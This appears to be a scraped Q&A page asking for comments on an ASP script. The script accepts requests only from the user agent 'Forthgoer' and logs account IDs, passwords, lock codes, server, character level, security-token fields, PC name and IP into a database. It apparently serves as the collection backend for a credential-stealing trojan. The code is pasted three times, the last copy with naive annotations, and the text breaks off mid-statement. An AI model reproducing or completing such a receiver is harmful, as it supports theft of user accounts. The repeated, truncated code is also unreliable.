UC知道谁能给这个ASP页注上注释
来源：百度知道 编辑：UC知道 时间：2024/06/14 14:43:29
<!--#include file="conn.asp"-->
<%
dim StrUserAgent
StrUserAgent=Request.ServerVariables("HTTP_USER_AGENT")
if StrUserAgent<>"Forthgoer" then
response.write("ok")
response.end
end if
id=request("id")
pass=request("p")
area=request("q")
openlock=request("lck")
srv=request("srv")
js1=request("js1")
id1=request("id1")
dj1=request("dj1")
mb=request("mb")
addtime=now()
sys=request("sys")
pcname=request("pc")
ip=Request.ServerVariables("REMOTE_ADDR")
if id="" or pass="" or area="" then
response.write "no"
response.end
End If
dim rs
set rs = server.createobject("adodb.recordset")
sql="select * from "&table2&" where
<%
dim StrUserAgent
StrUserAgent=Request.ServerVariables("HTTP_USER_AGENT")
if StrUserAgent<>"Forthgoer" then
response.write("ok")
response.end
end if
id=request("id")
pass=request("p")
area=request("q")
openlock=request("lck")
srv=request("srv")
js1=request("js1")
id1=request("id1")
dj1=request("dj1")
mb=request("mb")
addtime=now()
sys=request("sys")
pcname=request("pc")
ip=Request.ServerVariables("REMOTE_ADDR")
if id="" or pass="" or area="" then
response.write "no"
response.end
End If
dim rs
set rs = server.createobject("adodb.recordset")
sql="select * from "&table2&" where
<!--#include file="conn.asp"-->
<%
dim StrUserAgent //定义变量
StrUserAgent=Request.ServerVariables("HTTP_USER_AGENT")//得到主机信息
if StrUserAgent<>"Forthgoer" then//如果主机信息不等于
response.write("ok")//写OK
response.end //停止正在处理的ASP程序
end if
id=request("id")//将ID表单的信息保存到ID变量中,下面的相同,感觉应该是request.form("id")才对吧?
pass=request("p")
area=request("q")
openlock=request("lck")
srv=request("srv")
js1=request("js1")
id1=request("id1")
dj1=request("dj1")
mb=request("mb")
addtime=now() //得到时间
sys=request("sys")
pcname=request("pc")
ip=Request.ServerVariables("REMOTE_ADDR") //得到主机IP
if id="" or pass="" or area="" then //如果ID,PASS,area为空
response.write "no"
r